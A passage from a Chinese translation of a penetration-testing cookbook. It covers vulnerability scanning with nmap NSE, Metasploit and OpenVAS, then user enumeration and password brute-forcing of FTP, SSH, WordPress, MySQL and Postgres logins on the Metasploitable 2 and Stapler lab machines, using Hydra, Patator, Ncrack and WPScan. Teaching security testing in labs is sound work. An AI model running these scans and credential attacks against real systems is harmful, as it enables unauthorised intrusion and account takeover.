为了开始本章,我们将使用 nmap 来检查位于scripts文件夹下的 nmap 中的 NSE 脚本。为了演示目的,我们将使用 Metasploitable 2 和 Windows XP SP1。

如何做...

此食谱的步骤如下:

  1. 我们应该首先看看 NSE 脚本的位置。输入以下命令:
ls /usr/share/nmap/scripts/

输出将如下截屏所示:

如何做...

  1. 为了了解这些脚本属于的所有不同类别,输入:
cat /usr/share/nmap/scripts/script.db | grep "vuln"

输出将如下截屏所示:

如何做...

  1. 您可能会注意到前面的截图中有一个名为vuln的类别。我们将主要使用这个类别。要运行简单的vuln类别扫描,请在终端窗口上使用以下命令:
nmap -sT --script vuln <IP Address> 

  1. 假设我们只想快速评估几组端口。我们可以运行基于端口的vuln评估扫描:
nmap -sT -p <ports> --script vuln <IP Address>

输出将如下截屏所示:

如何做...

我们可以看到它揭示了很多信息,并向我们展示了许多可能的攻击向量;它甚至检测到了 SQL 注入以进行潜在攻击:

如何做...

  1. 假设我们想知道脚本类别vuln的详细信息。我们可以通过在终端中输入以下命令来简单检查:
nmap --script-help vuln

输出将如下截屏所示:

操作步骤...

  1. 让我们检查远程运行的机器是否容易受到 SMB 的攻击。我们首先找出 SMB 端口是否开放:
nmap -sT -p 139,445 <IP address>

输出将如下截屏所示:

操作步骤...

  1. 一旦我们检测到端口是开放的,我们运行一个smb漏洞检测脚本,如下所示:
nmap -sT -p 139,445 --script smb-vuln-ms08-067 <IP address>

输出将如下截屏所示:

操作步骤...

因此,可以使用 nmap 中可用的各种带有vuln类别的脚本对目标 IP 进行评估,并根据端口和服务运行情况找出漏洞。

工作原理...

理解所有参数相当容易;我们一直在玩 NSE 引擎中可用的脚本。让我们了解一下这种方法中使用的一些命令:

  • scripts.db文件包含了所有 NSE 分类信息,用于指定哪些脚本可以被视为特定类型的漏洞。有不同的类别,如authbroadcastbrutedefaultdosdiscoveryexploitexternalfuzzerintrusivemalwaresafeversionvuln

  • 在前面的示例中,我们使用了带有vuln参数的nmap命令。我们只是指示 nmap 使用vuln类别并运行所有类别为vuln的脚本。

注意

这个扫描需要很长时间,因为它将在许多检测到的开放端口上运行许多漏洞评估。

  • 在某个时候,我们为vuln类别扫描指定了一个额外的端口参数。这只是确保脚本仅在指定的端口上运行,而不是其他端口,从而节省了我们大量的时间。

  • --script-help <filename>|<category>|<directory>|<expression>|all[,...]命令是 NSE 引擎的帮助功能。help命令应始终与 NSE 脚本的类别或特定文件名或表达式一起使用。例如,要检查所有与 SMB 相关的帮助,可以简单地使用表达式*smb*

  • --script-args=unsafe=1命令中,script-args语法类似于要传递给我们刚选择的脚本的附加参数;在这种情况下,我们正在传递一个额外的unsafe参数,值为1,表示脚本有权限运行可能导致服务崩溃的危险脚本。

还有更多...

我们已经学会了如何使用 NSE 进行漏洞评估。script-args参数用于许多目的,例如提供用户名和密码的文件,指定给定服务的凭据,以便 NSE 可以在认证后提取信息等。这是建议的,以便您更深入地了解script-args功能。

另请参阅...

将 nmap 与 Metasploit 集成

仅使用 nmap 进行漏洞评估是不够的,因为漏洞数量日益增加。一个月内报告了许多漏洞,因此建议您使用多个漏洞扫描工具。在上一章中,我们看到了如何将 nmap 扫描的输出导出到 XML 文件;在这里,我们将学习如何将 nmap 输出与 Metasploit 集成,用于漏洞评估。

准备工作

我们首先需要在 Kali Linux 机器上设置和更新 Metasploit。

需要注意的一点是,为了演示目的,我们已经向 Windows 操作系统添加了更多服务,以更好地了解活动,因为默认情况下只有少数端口是开放的。为了准备这项活动,我们对 Windows 机器进行了扫描,并保存了相同的 XML 输出。

操作步骤...

  1. 首先,我们将使用以下命令将 nmap XML 文件保存为 Metasploitable 2 服务器:
nmap -sT -oX Windows.xml <IP Address>

文件将保存在您终端的当前工作目录中。

  1. 为了启动 Metasploit,我们将启动 Metasploit 程序中涉及的服务。我们将启动 Postgres SQL 服务和 Metasploit 服务。要做到这一点,请使用以下命令:
      service postgresql start
      service metasploit start

输出将如下截屏所示:

如何操作...

  1. 一旦服务启动,我们将通过在命令行中输入以下内容来启动 Metasploit:
msfconsole

输出将如下截屏所示:

如何操作...

  1. 首先,我们将把 nmap 扫描导入 Metasploit。为此,请输入以下命令:
      db_import /root/Windows.xml
      db_import <path to the file>

该命令从指定路径导入文件。请确保记下从读者存储文件的路径导入。

如何操作...

  1. 一旦导入成功,我们将在 Metasploit 中使用以下命令搜索运行 SMB 服务的 IP:
Services -p 445 -R

这将产生以下输出:

如何操作...

  1. 现在我们已经发现有一个感兴趣的端口,我们将尝试深入挖掘。让我们尝试显示 SMB 共享。在 Metasploit 控制台中输入以下内容:
use auxiliary/scanner/smb/smb_enumshares

输出将如下截屏所示:

如何操作...

  1. 为了列出可用的共享,我们将运行扫描器辅助模块。只需在 Metasploit 控制台中输入runexploit,这两个命令都可以完成工作。

输出将如下截屏所示:

如何操作...

  1. 正如我们所看到的,我们能够收到一个 IP 地址的详细信息。让我们更仔细地查看一下活动主机。我们将尝试枚举此主机可用的管道审计员类型。在 Metasploit 控制台中输入以下内容:
use auxiliary/scanner/smb/pipe_auditor

命名管道用作通信的端点;它是客户端和服务器之间的逻辑连接;smb命名管道与与 Server Message Block 相关的连接有关。如果我们幸运的话,我们可能能够检索到像可用的公共共享这样的信息。

完成后,您可以检查所有参数是否正确输入。由于在检查攻击之前必须输入一些选项卡,您可以使用以下命令:

      show options
      run

它应该是这样的:

如何操作...

  1. 在检查给定端口的漏洞时,发现 SMB 共享对于早于 Windows XP Service Pack 2 的所有 Windows 版本都容易受到ms08_067_netapi攻击。让我们尝试找出我们的活动主机是否容易受到这种攻击。在 Metasploit 窗口中输入以下内容以加载ms08_067_netapi模块:
use exploit/windows/smb/ms08_067_netapi

要检查 IP 是否存在漏洞,请使用check命令,您将得到输出,说明它是否可能是一个成功的攻击向量:

如何操作...

正如您所看到的,目标是有漏洞的。

工作原理...

正如你所看到的,我们首先将 nmap 结果导入到 Metasploit 中。当我们在 nmap 中有大量 IP 输出时,这非常方便,因为我们可以导入所有这些 IP,并在方便的时候执行漏洞评估阶段。让我们来看看我们使用的所有命令的理解:

  • service postgresql start:这将启动 Postgres SQL 服务。

  • service metasploit start:这将启动 Metasploit 客户端服务

  • msfconsole:这将启动 Metasploit 控制台

  • db_import:此命令允许 Metasploit 从 XML 文件中导入 nmap 结果,并将其添加到包含通过 nmap 获得的所有信息的主机列表的数据库中

  • services -p(端口号)-R:此命令显示在指定端口上运行的服务,如果存在满足条件的 IP,则会通过-R命令将其添加到 Metasploit 主机列表中

  • use <扫描模块>use命令选择要从 Metasploit 中选择的模块类型

  • check:在某些情况下,Metasploit 允许用户运行检查命令,该命令会对服务进行指纹识别,并告诉我们它是否存在漏洞。但在 DDOS 模块的情况下不起作用。

还有更多...

  • Metasploit 中还有更多可帮助您操作不同辅助模块的选项

使用 Metasploit 进行 Metasploitable 评估的演练

在本节中,我们将学习如何对一个名为 Metasploitable 2 的易受攻击的服务器进行评估。本节将为您介绍在漏洞评估环境中进行的一些评估测试。漏洞评估是一个非常广泛的阶段。我们需要执行许多任务,比如找出服务器上开放的端口,运行在这些端口上的服务,以及这些服务是否存在漏洞。同样的,也可以通过在线搜索已知的服务漏洞来完成。所有的信息收集和漏洞兼容性检查都可以在漏洞评估结束时完成。我们开始利用系统进行 root 或 shell 攻击的地方可以称为渗透测试。

准备工作...

对于这个练习,我们需要 Metasploitable 2,这是一个故意创建的虚拟机,其中包含许多含有漏洞的服务。可以在(www.vulnhub.com/entry/metasploitable-2,29/)下载这个虚拟机,以及我们已经拥有的 Kali Linux 虚拟机。我们将首先看看如何安装和设置 Metasploitable 2 实验室,以便开始漏洞评估。

如何操作...

  1. 一旦图像被下载,将其加载到虚拟机中。可以使用 Virtual box 或 VMplayer;安装如下:如何操作...

  2. 加载后,它将加载到虚拟机中。它将显示在虚拟选项卡中,如下所示:如何操作...

  3. 网络适配器设备配置为桥接模式,以便获得 LAN IP。对于 VMware 用户,右键单击图像,单击设置,选择网络适配器选项并选择桥接模式。对于 VirtualBox 用户,右键单击 Metasploitable 图像,选择设置,转到网络并将连接到选项设置为桥接

用户也可以选择将其设置为NAT仅主机模式;确保两台机器都处于相同的网络设置;然而,在仅主机模式下,用户将无法访问互联网。由于此活动是在受控环境中进行的,设置已被允许为桥接网络。然而,作为读者,建议您将这些虚拟机保持在NAT环境或仅主机环境中:

如何操作...

  1. 一旦完成,启动机器。由于我们已将连接设置为桥接,我们将自动分配 IP。可以使用ifconfig命令检查。但是,如果我们没有分配一个,以超级用户身份运行dhclient。用户名为msfadmin,密码为msfadmin

  2. 我们现在将在我们的 Kali 机器上开始漏洞评估。首先,我们将执行一个nmap扫描,以查看 Metasploitable 2 机器上的开放端口。在 Kali 终端中输入以下命令:

nmap -sT <IP address>

输出将如下截图所示:

如何操作...

  1. 一旦找到端口号,我们将运行信息收集模块或 NSE 脚本以获取更多信息。在终端中输入以下命令:
nmap -sT -T4 -A -sC <IP Address>

输出为我们提供了大量信息。让我们来看一下:

如何操作...

前面的截图显示了服务器正在运行ftpopensshtelnetsmtpdomain等。已检索到更多信息。让我们看看以下截图:

如何操作...

我们还可以看到系统上运行着mysql服务、postgresql服务、vnc服务、x11IRC。现在让我们开始对 Metasploitable 2 服务器进行漏洞评估。

  1. 在整个过程中,我们将使用 Metasploit。让我们分析ftp服务,看看它是否容易受到已知组件的攻击。如果Rhosts选项没有显示我们的目标 IP 地址,我们可以手动填写。在 Metasploit 控制台中输入以下命令:
      use auxiliary/scanner/ftp/anonymous
      show options
      set Rhosts <IP Address>
      exploit

输出如下截图所示:

如何操作...

  1. 我们将尝试使用mysql的身份验证绕过,看看我们是否成功。在msf终端上运行以下命令:
      use auxiliary/scanner/mysql/mysql_authbypass_hashdump
      exploit

输出如下截图所示:

如何操作...

  1. 我们还知道有一个运行中的nfs服务。让我们运行信息收集模块nfsmount。输入以下命令:
      use auxiliary/scanner/nfs/nfsmount
      show options
      exploit

输出如下截图所示:

如何操作...

  1. 我们甚至可以通过metasploit模块对postgresql服务进行暴力破解攻击。要做到这一点,在mfs终端中输入以下命令:
      use auxiliary/scanner/postgres/postgres_login
      exploit

输出如下截图所示:

如何操作...

  1. 还有一个smtp服务正在运行。我们可以运行 Metasploit 的smtp enumuser脚本来列出可用的用户名。在msf终端中输入以下命令:
      use auxiliary/scanner/smtp/smtp_enum
      exploit

输出如下截图所示:

如何操作...

  1. 我们还对 VNC 服务进行了评估。要做到这一点,在msf终端中输入以下命令:
      use auxiliary/scanner/vnc/vnc_logins
      Show options
      exploit

输出如下截图所示:

如何操作...

  1. 有一个x11插件用于检查开放的x11连接。让我们测试系统上是否运行了x11服务。在msf终端中输入以下内容:
      use auxiliary/scanner/x11/open_x11
      show options
exploit 

输出如下截图所示:

如何操作...

  1. 服务器还在端口6667上运行一个 IRC 频道。IRC 的名称是unreal IRC。为了验证,您可以使用 nmap 在给定端口上运行版本检测扫描。如果我们搜索该服务的可能漏洞,我们会看到以下内容:如何操作...

点击www.exploit-db.com/exploits/16922/链接,我们看到以下内容:

如何操作...

这证实了 IRC 服务可能容易受到后门命令执行的攻击。

工作原理...

我们已成功评估了 Metasploitable 2 服务器。我们没有完成所有测试,但我们已经涵盖了其中的一些。

我们使用了以下命令:

  • use auxiliary/scanner/ftp/anonymous:该命令加载匿名ftp评估脚本,这将帮助我们了解指定的 IP 是否容易受到匿名 ftp 的攻击。

  • use auxiliary/scanner/mysql/mysql_authbypass_hashdump:该命令加载mysql身份验证绕过hashdump检查(如果可用)。

  • use auxiliary/scanner/nfs/nfsmount:该命令加载nfs检查,并显示服务器共享了哪些内容。

  • use auxiliary/scanner/postgres/postgres_login:该模块使用可用的凭据列表进行暴力破解。

  • use auxiliary/scanner/smtp/smtp_enum:该命令加载模块,帮助列出 SMTP 服务上可用的用户名。

  • use auxiliary/scanner/vnc/vnc_login:该命令加载vnc凭据bruteforce脚本。

  • use auxiliary/scanner/x11/open_x11:该命令在 Metasploit 上加载x11开放终端枚举脚本。

  • show options:此命令显示执行脚本所需的参数。这里提到的所有脚本都符合此描述。

  • exploit/run:此命令执行脚本并提供相应脚本运行的输出。

还有更多...

更多的扫描脚本可以在/usr/share/metasploit-framework/modules/auxiliary/scanner目录下找到。

它应该看起来像这样:

还有更多...

这些都是漏洞评估的所有可用脚本,只要我们找到在目标机器上运行的相应脚本。

另请参阅...

使用 OpenVAS 框架进行漏洞评估

我们已经看到了如何使用metasploitnmap脚本进行手动漏洞评估测试。现在我们将看看如何使用自动化扫描程序。OpenVAS 是一个框架,包括几个具有全面和强大的漏洞扫描能力的服务和工具。OpenVAS 是 Kali Linux 操作系统的一部分。它可以在www.openvas.org/下载,并且是开源软件。在这个教程中,我们将学习如何设置 OpenVAS。我们将安装、更新并开始使用这些服务。以下是了解扫描程序如何运行的架构:

使用 OpenVAS 框架进行漏洞评估

注意

www.openvas.org/找到更多关于 OpenVAS 的信息。

准备工作

首先,我们必须更新所有软件包和库。安装 OpenVAS 完成后,我们将更新插件并在 Metasploitable 2 机器上使用扫描程序。

如何做...

  1. 首先,我们将更新和升级我们的操作系统,以确保我们的软件包和库是最新的。为此,请在命令行中输入以下内容:
apt-get update && apt-get upgrade

输出将如下截图所示:

如何做...

  1. 更新和升级所有软件包需要一些时间。完成后,浏览到以下位置并启动 OpenVAS 设置:如何做...

  2. 设置是自解释的,您将看到以下屏幕。它更新了 OpenVAS NVT Feed,如下截图所示:如何做...

  3. 随着安装的进行,它会更新 CVE feeds。CVE代表通用漏洞和暴露

输出将如下截图所示:

如何做...

  1. 下载完成后,将创建一个用户并向我们提供服务,如下截图所示:如何做...

  2. 现在,我们将使用终端中的以下命令检查安装是否已正确完成:

openvas-check-setup

输出将如下截图所示:

如何做...

安装成功后,将显示以下内容:

如何做...

  1. 这表明我们的安装已经成功。我们将立即重新启动服务:
      openvas-stop
      openvas-start

输出将如下截图所示:

如何做...

  1. 让我们也为用户创建一个新密码,以及一个新用户:
      openvasmd --user=admin --new-password=<Your password>
      openvasmd --create-user <Your Username>

输出将如下截图所示:

如何做...

  1. 既然我们知道安装已经成功完成,我们将访问 Greenbone Security Assistant。在 Iceweasel 浏览器中输入https://127.0.0.1:9392/login/login.html URL 并输入我们的凭据:如何做...

  2. 登录后,屏幕将如下所示。我们将输入目标 IP 地址,如下截图所示:如何做...

  3. 一旦我们点击开始扫描选项,扫描器将利用其对所有插件的知识,并检查应用程序上是否存在已知漏洞。这是一个耗时的过程,完全取决于服务器上开放的端口数量。扫描完成后,将显示检测到的漏洞总数:如何操作...

  4. 如前面的截图所示,要查看报告,我们将点击扫描管理选项卡,然后点击报告选项,这将带我们到报告页面。然后,我们将选择我们扫描的 IP 地址,这将显示所有的漏洞:如何操作...

  5. 我们可以导出包含这些细节的 PDF 报告。在报告上方,就像鼠标指针在下面的截图中所示的那样,会有一个下载选项,我们可以从那里保存:如何操作...

  6. 保存的 PDF 文件将如下截图所示:如何操作...

然后可以使用此文件来枚举不同类型的漏洞,然后我们可以检查漏洞列表中是否存在任何误报。

工作原理...

正如您所看到的,设置和操作 OpenVAS 漏洞扫描器非常简单。让我们看看后端实际发生了什么,以及我们使用的一些前面的命令的含义。

让我们先看看命令:

  • openvas-check-setup:此命令验证我们的 OpenVAS 设置是否正确安装,并警告我们任何文件安装不完整。它还建议任何必要的修复以使软件正常运行。

  • openvas-stop:此命令停止 OpenVAS 中涉及的所有服务,如 OpenVAS 扫描仪、管理器和 Greenbone 安全助理。

  • openvas-start:此命令启动 OpenVAS 中涉及的所有服务,如 OpenVAS 扫描仪、管理器和 Greenbone 安全助理。

  • openvasmd --user=<您的用户名> --new-password=<您的密码>:此命令帮助设置创建的用户的新密码。

  • openvasmd --create-user <用户名>:此命令创建一个指定用户名的用户。

当我们启动扫描时,扫描器会加载所有模块和插件,对所有可用的端口进行评估。该过程如下:

  • 扫描开放端口

  • 运行所有开放端口及其服务的插件

  • 运行来自 CVE 数据库和 OpenVAS NVT feeds 的已知漏洞

  • 基于插件评估,我们得到了我们正在评估的目标的可能漏洞的输出

还有更多...

我们甚至可以通过 Greenbone 安全助理中的配置选项卡根据自己的需要配置扫描。我们还可以设置系统的凭据进行系统配置审查,并自定义警报、过滤器和要扫描的端口。

仅通过查看一些示例,很难理解“漏洞评估”这个术语。需要有一个可以遵循的标准,以便基本了解评估的实际发生情况。在本节中,我们将学习漏洞评估的含义。

漏洞评估有时会与渗透测试混淆。整个漏洞评估过程的核心目的是识别系统、环境或组织的威胁。在漏洞评估过程中,主要目标是找到系统的入口点,并查明它们是否使用了易受攻击的服务或易受攻击的组件。然后进行严格的测试,以确定系统上是否存在各种已知威胁。

然而,渗透测试是一种超越简单识别的东西。当您开始攻击系统以获得 shell 或崩溃服务时,您就参与了渗透测试。为了对漏洞评估有组织的方法,可以参考开源。有一篇非常好的文章,可以帮助理解 Daniel Meissler 撰写的漏洞评估和渗透测试之间的微妙差别。以下是文章的链接:danielmiessler.com/study/vulnerability-assessment-penetration-test/

一些测试方法的例子如下:

  • 渗透测试执行标准PTES

  • 开放网络应用安全项目OWASP):Web 应用程序测试指南

  • 开放源安全测试方法手册OSSTMM

  • Web 应用程序黑客方法论(Web 应用程序黑客手册)

PTES

渗透测试执行标准可在www.pentest-standard.org/index.php/Main_Page找到,包括七个主要部分:

  • 前期互动

  • 情报收集

  • 威胁建模

  • 漏洞分析

  • 利用

  • 后期利用

  • 报告

正如 PTES 所总结的:“漏洞测试是发现系统和应用程序中可以被攻击者利用的缺陷的过程。这些缺陷可以是主机和服务配置错误,或不安全的应用程序设计。尽管用于查找缺陷的过程因特定组件的测试而异,并且高度依赖于特定组件的测试,但是一些关键原则适用于该过程。

PTES 是一系列非常详细的技术指南,可以在www.pentest-standard.org/index.php/PTES_Technical_Guidelines找到。

OWASP

开放网络应用安全项目主要处理基于 Web 应用程序的安全评估。OWASP 是一个旨在提高软件安全性的非营利性慈善组织。它是一个广泛使用的基于 Web 的安全组织。OWASP 可以在www.owasp.org/找到。

OWASP 的目标最好由组织本身总结:“每个人都可以自由参与 OWASP,我们所有的材料都在自由和开放的软件许可下可用。您可以在我们的维基或链接到我们的维基上找到关于 OWASP 的一切信息,以及我们的 OWASP 博客上的最新信息。OWASP 不认可或推荐商业产品或服务,这使我们的社区能够保持与全球软件安全最优秀的头脑的集体智慧保持供应商中立。

我们要求社区注意 OWASP 品牌的不当使用,包括我们的名称、标志、项目名称和其他商标问题。

OWASP 测试指南可以在www.owasp.org/index.php/Web_Application_Penetration_Testing找到。

Web 应用程序黑客方法论

这种方法已经在书中得到很好的定义,《Web 应用程序黑客手册:发现和利用安全漏洞,第 2 版》。同样可以在www.amazon.in/Web-Application-Hackers-Handbook-Exploiting/dp/8126533404/&keywords=web+application+hackers+handbook上找到。

总结该方法,请查看以下图表:

Web 应用程序黑客方法论

另请参阅...

第四章:网络利用

在本章中,我们将涵盖以下内容:

  • 收集凭证破解的信息

  • 使用自定义字典破解 FTP

  • 使用自定义字典破解 SSH

  • 使用自定义字典破解 HTTP

  • 使用自定义字典破解 MySql 和 PostgreSQL

  • 使用自定义字典破解 Cisco 登录

  • 利用易受攻击的服务(Unix)

  • 利用易受攻击的服务(Windows)

  • 使用exploit-db脚本来利用服务

介绍

在上一章中,我们枚举了开放端口并搜索可能的漏洞。在本章中,我们将对网络上的系统进行渗透测试。为了演示目的,我们选择了一个名为Stapler的易受攻击的操作系统,由 g0tmi1k 制作。Stapler 可以在www.vulnhub.com/entry/stapler-1,150/下载。

除了 Stapler,我们还将简要介绍如何利用 Metasploitable 2 进行利用,这在上一章中已经简要介绍过。本章的目的是向读者介绍一些网络级攻击向量,并演示不同类型的攻击。让我们开始使用 Stapler,一个易受攻击的操作系统虚拟机,通过在虚拟机上加载镜像来开始。

收集凭证破解的信息

为了成功进行凭证破解,有可能用户名和密码列表是很重要的。其中一种可能的方式是利用 Kali Linux Distro 中可用的字典。这些位于/usr/share/wordlists/下。以下屏幕截图显示了 Kali 中可用的字典:

收集凭证破解的信息

您将找到一个名为rockyou.txt.gz的文件,您需要解压缩。在终端中使用以下命令解压缩文件的内容:

gunzip rockyou.txt.gz

一旦完成,文件将被提取,如前面的屏幕截图所示。这是 Kali Linux 中可用密码的预构建列表。让我们开始利用枚举和信息收集来制定我们自己的密码之一。

准备工作

首先,我们将找到托管 Stapler 机器的 IP 地址,并开始枚举信息以收集和创建一组自定义密码。

如何做...

该配方的步骤如下:

  1. 使用以下命令在子网上发现 Stapler 的 IP 地址:
nbtscan (x.x.x.1-255)

输出如下屏幕截图所示:

如何做...

  1. 运行快速的nmap扫描以查找可用端口:
nmap -sT -T4 -sV -p 1-65535 <IP address>

输出如下屏幕截图所示:

如何做...

  1. 连接到开放端口并收集有价值的信息;让我们枚举ftpSshhttp端口。以下是一系列收集和存储信息的方式。

FTP 端口上的信息收集

我们通过输入用户名和密码Ftp: ftp来进入默认的匿名登录。

我们成功访问了登录并找到一个名为 note 的文件。下载后,我们得到了一些用户名。作为信息收集过程的一部分,这些用户名被存储在一个文档中。在下面的屏幕截图中可以看到相同的情况:

如何做...

SSH 上的信息收集

我们使用ssh客户端连接到 SSH,并收集信息如下屏幕截图所示:

如何做...

我们找到了另一个可能的用户名。

HTTP 上的信息收集

有很多种方式可以从 Web 应用程序中收集可能有用的单词。在 nmap 屏幕上,我们发现有一个端口12380,运行着一个 Web 服务器。访问并尝试检查robots.txt,我们发现了一些有趣的文件夹,如下屏幕截图所示:

如何做...如何做...

访问/blogblog/ URL 时,我们发现它是一个 WordPress 网站,因此我们将尝试枚举 WordPress 博客的可能用户名。

使用以下命令枚举 WordPress 用户:

 wpscan -u https://<IP address>:12380/blogblog/ --enumerate u

输出将如下屏幕截图所示:

操作步骤...

通过共享进行信息收集

在这里,我们将收集有助于建立潜在凭证列表的信息。让我们看看这是如何可能的。我们将在机器上运行enum4linux,使用以下命令:

enum4linux <IP address>

输出将如下屏幕截图所示:

操作步骤...

通过enum4linux进行共享枚举看起来与下面的屏幕截图类似:

操作步骤...

这样做后,我们意识到有更多的用户名可用,因此,我们可以将它们添加到我们的用户名列表中。在进一步评估中,我们击中了大奖:服务器上可用的用户名。通过enum4linux进行 SID 枚举看起来与下面的屏幕截图类似:

操作步骤...

  • 现在,一个完整的用户名列表被制定并存储在用户名文件中,如下面的屏幕截图所示:

操作步骤...

让我们对 Metasploitable 2 机器做同样的操作。在我们的测试实验室中,Metasploitable 2 机器托管在192.168.157.152。我们已经创建了一个自定义的grep,它将枚举用户的共享,并且只给出用户名作为输出:

enum4linux <IP address> | grep "user:" |cut -d "[" -f2 | cut           -d "]" -f1

输出将如下屏幕截图所示:

操作步骤...

完成后,将用户名保存在任何名称的文件中。在这种情况下,我们将其命名为metasploit_users。这可以通过使用以下命令重定向前面命令的输出来完成:

enum4linux <IP address> | grep "user:" |cut -d "[  " -f2 |           cut -d "]  " -f1 > metasploit_users

有了这个,我们已经完成了信息收集的第一个步骤,以建立一个可信的凭证字典。在下一个步骤中,我们将看看如何利用这一点来攻击并尝试访问服务器。

使用自定义单词列表破解 FTP 登录

在这个步骤中,我们将学习如何攻击 FTP 以找到有效的登录。我们将使用前面信息收集步骤中生成的列表。

准备工作

对于这个步骤,我们将使用一个名为 Hydra 的工具。它是一个支持多种攻击协议的并行化登录破丨解丨器。Kali Linux 中有许多用于破解密码的工具;然而,Hydra 非常方便。现在我们有了 Hydra 和用户名列表,让我们开始攻击。

如何做...

  1. 知道我们的用户名列表叫做username,确保终端指向用户名文件所在的路径。我们将在终端中运行以下命令:
hydra -e nsr -L username <IP address> ftp

输出将如下屏幕截图所示:

操作步骤...

  1. 检查接收到的凭证是否有效:操作步骤...

我们连接到 FTP,如下面的屏幕截图所示:

操作步骤...

我们已成功找到有效的凭证,并获得了服务器潜在用户的登录信息。

它是如何工作的...

正如你所看到的,我们在 Hydra 中使用了以下命令:

hydra -e nsr -L username <IP address> ftp 

让我们了解带有所有开关的脚本。-e开关有三个选项,nsr

  • n:此选项检查空密码

  • s:此选项用于登录名作为密码

  • r:这是登录名的反向作为密码

-L检查是用来指定用户名列表的,ftp是指定的协议,应该对密码进行猜测攻击。

还有更多...

还有更多参数可以在不同类型的攻击场景中使用。以下是一些示例:

  • -S:用于通过 SSL 连接到端口

  • -s:用于指定要测试的协议的自定义端口,如果不是默认端口

  • -p:用于尝试特定密码

  • -P:用于指定密码文件列表

  • -C:这是一个以冒号分隔的文件;在这里,用户名和密码列表可以以冒号分隔的格式,例如,user:pass

如果您希望将用户名和密码存储在文件中而不是在终端中显示,可以使用-o选项,然后指定文件名,以输出内容。

使用自定义单词列表破解 SSH 登录

在这个教程中,我们将学习如何攻击 SSH 以找到有效的登录。我们将使用信息收集教程中生成的列表。

准备工作

对于这个教程,我们将使用三个工具,Hydra、Patator 和 Ncrack 来进行 SSH 密码破解。所有这些工具都可以在 Kali Linux 中找到。

正如 Patator Wiki 中所述,Patator 是出于对使用 Hydra、Medusa、Ncrack、Metasploit 模块和 Nmap NSE 脚本进行猜密码攻击的沮丧而编写的。所有者选择了不同的方法,以避免创建另一个密码破解工具并重复相同的缺点。Patator 是一个用 Python 编写的多线程工具,旨在比其前身更可靠和灵活。

关于 Ncrack 的一些信息:Ncrack 是一个高速网络认证破解工具。Ncrack 采用模块化方法设计,命令行语法类似于 Nmap,并且可以根据网络反馈调整其行为的动态引擎。它允许对多个主机进行快速而可靠的大规模审计。它支持大多数知名协议。

如何操作...

  1. 我们将使用 Hydra 来破解 Stapler 上 SSH 服务的密码。在终端中输入以下命令:
hydra -e nsr -L username <IP address> ssh -t 4

输出将如下截屏所示:

如何操作...

  1. 也可以使用 Patator 进行检查;在终端中输入以下命令:
 patator ssh_login host=<IP address> user=SHayslett
password-FILE0 0=username

输出将如下截屏所示:

如何操作...

  1. 让我们验证一下找到的登录是否正确。我们已经成功登录,如下截屏所示:如何操作...

  2. 我们可以尝试使用从 Metasploitable 2 获得的用户;这次我们将使用ncrack命令来破解密码。让我们尝试找到sys账户的登录。在终端中输入以下命令,对我们的 Metasploitable 2 机器上的sys执行 SSH 密码破解攻击:

ncrack -v --user sys -P /usr/share/wordlists/rockyou.txt       ssh://<IP address>

输出将如下截屏所示:

如何操作...

  1. 如您所见,sys账户的密码已经被找到,登录成功:如何操作...

工作原理...

我们使用了以下命令:

hydra -e nsr -L username <IP address> ssh -t 4
patator ssh_login host=<IP address> user=SHayslett password-FILE0     0=username
hydra -l user -P /usr/share/wordlists/rockyou.txt -t 4 <IP     address> ssh

让我们了解这些开关实际上是做什么的。

如前所述,-e开关有三个选项,nsr

  • n:此选项检查空密码

  • s:这使用登录名作为密码

  • r:这是将登录名作为密码的反向

-L检查允许我们指定包含用户名的文件。-t开关代表任务;它并行运行连接的数量。默认情况下,数量为 16。这类似于线程概念,通过并行化获得更好的性能。-l开关代表特定的用户名,-P开关代表要读取的攻击文件列表。

让我们看看 Patator 脚本:

  • ssh_login:这是 Patator 的攻击向量

  • host=:这代表要使用的 IP 地址/URL

  • user=:这是用于攻击目的的用户名

  • password=:这是用于暴力攻击的密码文件

让我们看看 Ncrack 脚本:

  • -v:这个开关启用详细模式

  • --user:这个开关使我们能够提供用户名

  • -P:这是提供密码文件的开关

还有更多...

Patator 和 Ncrack 中有许多开关。我们建议您研究不同的协议和功能,并在我们在书中提到的易受攻击的机器上尝试它们。或者,更多信息可以在www.vulnhub.com/找到。

使用自定义字典破解 HTTP 登录

我们看到 Stapler 在端口12380上运行了一个 Web 应用程序,其中托管了 WordPress。在这个教程中,我们将学习如何对 WordPress 的登录面板执行密码破解攻击。在这种情况下,我们将使用的工具是 WPScan。

准备工作

WPScan 是一个 WordPress 扫描器。它有许多功能,比如枚举 WordPress 版本、有漏洞的插件、列出可用的插件、基于字典的密码破解。

操作步骤...

  1. 我们将首先使用枚举用户脚本枚举可用的 WordPress 登录。在终端中输入以下命令:
wpscan -u https://<IP address>:12380/blogblog/ --enumerate u

输出将如下截屏所示:

操作步骤...

  1. 要开始破解密码,我们将从 Kali 中提供的可用字典中提供 wordlist 文件,例如rockyou.txt。在终端中输入以下命令:
wpscan -u https://<IP address>:12380/blogblog/ --wordlist        /usr/share/wordlists/rockyou.txt  --threads 50

输出将如下截屏所示:

操作步骤...

  1. 让我们检查密码是否有效。访问登录页面:
https://x.x.x.x:12380/blogblog/wp-login.php

输出将如下截屏所示:

操作步骤...

它是如何工作的...

让我们了解前面命令中使用的开关:

  • -u:此开关指定要访问的 URL

  • --wordlist:此开关指定要用于破解的字典或密码列表

  • --threads:此开关指定要加载的线程数,以通过并行作业执行实现性能

还有更多...

WPScan 具有相当多的功能。它允许用户枚举安装的主题、插件、用户、timthumbs 等。在 WordPress 安装中使用其他可用命令来检查它们的功能总是一个好主意。

使用自定义字典破解 MySql 和 PostgreSQL 登录

在这个教程中,我们将看到如何访问 MySQL 和 Postgres 数据库。我们将使用 Metasploitable 2 易受攻击的服务器来执行攻击。

准备工作

在这个练习中,我们将使用 Metasploit 作为我们的模块来执行凭据攻击,因为我们已经在之前的教程中看到了其他工具的工作原理。让我们启动 Metasploit 控制台并开始利用 SQL 服务器。

操作步骤...

  1. 一旦您进入 Metasploit 控制台,输入以下命令:
      use auxiliary/scanner/mysql/mysql_login
      set username root
      set stop_on_success true
      set rhosts <Target IP address>
      set pass_file /usr/share/wordlists/rockyou.txt
      exploit

输出将如下截屏所示:

操作步骤...

  1. 完成后,请等待脚本完成。在这种情况下,因为我们已经给出了一个停止成功的命令,一旦找到正确的密码,它将停止执行脚本。输出将如下截屏所示:操作步骤...

  2. 现在让我们尝试破解 Postgres 凭据。在 Metasploit 终端中输入以下内容:

      use auxiliary/scanner/postgres/postgres_login
      set rhosts <Target IP address>
      run

